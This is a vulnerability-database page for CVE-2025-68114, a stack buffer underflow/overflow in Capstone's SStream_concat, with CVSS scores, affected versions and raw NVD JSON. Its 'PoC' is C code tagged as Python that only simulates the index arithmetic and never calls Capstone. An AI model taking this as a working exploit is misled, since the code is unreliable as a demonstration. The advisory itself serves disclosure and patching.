Security Vulnerability Report
中文
CVE-2025-68114 CVSS 4.8 MEDIUM

CVE-2025-68114

Published: 2025-12-17 22:16:01
Last Modified: 2026-01-02 18:33:10

Description

Capstone is a disassembly framework. In versions 6.0.0-Alpha5 and prior, an unchecked vsnprintf return in SStream_concat lets a malicious cs_opt_mem.vsnprintf drive SStream’s index negative or past the end, leading to a stack buffer underflow/overflow when the next write occurs. Commit 2c7797182a1618be12017d7d41e0b6581d5d529e fixes the issue.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:capstone-engine:capstone:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:capstone-engine:capstone:6.0.0:alpha1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:capstone-engine:capstone:6.0.0:alpha2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:capstone-engine:capstone:6.0.0:alpha3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:capstone-engine:capstone:6.0.0:alpha4:*:*:*:*:*:* - VULNERABLE
Capstone Engine <= 6.0.0-Alpha5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdarg.h> // Malicious vsnprintf implementation that returns abnormal values int malicious_vsnprintf(char *buffer, size_t size, const char *format, va_list args) { // Return a negative value to trigger underflow // or a value larger than buffer size to trigger overflow return -1; // or return 0x7FFFFFFF for overflow } int main() { printf("[+] CVE-2025-68114 PoC - Capstone SStream_concat Buffer Overflow\n"); printf("[+] This PoC demonstrates the unchecked vsnprintf return value vulnerability\n"); printf("[+] The malicious vsnprintf returns -1, causing SStream index underflow\n"); printf("[+] In a real attack scenario, this would be set via cs_opt_mem.vsnprintf\n"); // Simulate the vulnerable scenario char buffer[64]; int index = 10; printf("[*] Initial SStream index: %d\n", index); // This simulates what happens when vsnprintf returns -1 int vsnprintf_result = malicious_vsnprintf(buffer, sizeof(buffer), "%s", NULL); printf("[*] Malicious vsnprintf returned: %d\n", vsnprintf_result); // Vulnerable code: index += vsnprintf_result (without checking) index += vsnprintf_result; printf("[*] New SStream index after unchecked addition: %d\n", index); if (index < 0) { printf("[!] Index is negative - buffer underflow condition triggered!\n"); printf("[!] Next write operation would write before buffer start\n"); } printf("[+] PoC demonstration complete\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68114", "sourceIdentifier": "[email protected]", "published": "2025-12-17T22:16:01.400", "lastModified": "2026-01-02T18:33:09.800", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Capstone is a disassembly framework. In versions 6.0.0-Alpha5 and prior, an unchecked vsnprintf return in SStream_concat lets a malicious cs_opt_mem.vsnprintf drive SStream’s index negative or past the end, leading to a stack buffer underflow/overflow when the next write occurs. Commit 2c7797182a1618be12017d7d41e0b6581d5d529e fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.3, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}, {"lang": "en", "value": "CWE-124"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:capstone-engine:capstone:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.0.0", "matchCriteriaId": "DD22C7C2-F647-4AB5-BEB4-C70F722C0419"}, {"vulnerable": true, "criteria": "cpe:2.3:a:capstone-engine:capstone:6.0.0:alpha1:*:*:*:*:*:*", "matchCriteriaId": "99F76525-F73B-4F66-AE46-A1ECAF0C7A0C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:capstone-engine:capstone:6.0.0:alpha2:*:*:*:*:*:*", "matchCriteriaId": "442C7F48-5BEE-4702-AC0F-DE5C70FAA93F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:capstone-engine:capstone:6.0.0:alpha3:*:*:*:*:*:*", "matchCriteriaId": "3C88415A-376C-4F7F-9D7D-3CB5C8FB9346"}, {"vulnerable": true, "criteria": "cpe:2.3:a:capstone-engine:capstone:6.0.0:alpha4:*:*:*:*:*:*", "matchCriteriaId": "67358CE5-F734-4E55-B021-D3AC5D937DD4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:capstone-engine:capstone:6.0.0:alpha5:*:*:*:*:*:*", "matchCriteriaId": "9DED59B8-DC00-4323-89FA-044F7666AF5D"}]}]}], "references": [{"url": "https://github.com/capstone-engine/capstone/commit/2c7797182a1618be12017d7d41e0b6581d5d529e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/capstone-engine/capstone/security/advisories/GHSA-85f5-6xr3-q76r", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/capstone-engine/capstone/security/advisories/GHSA-85f5-6xr3-q76r", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}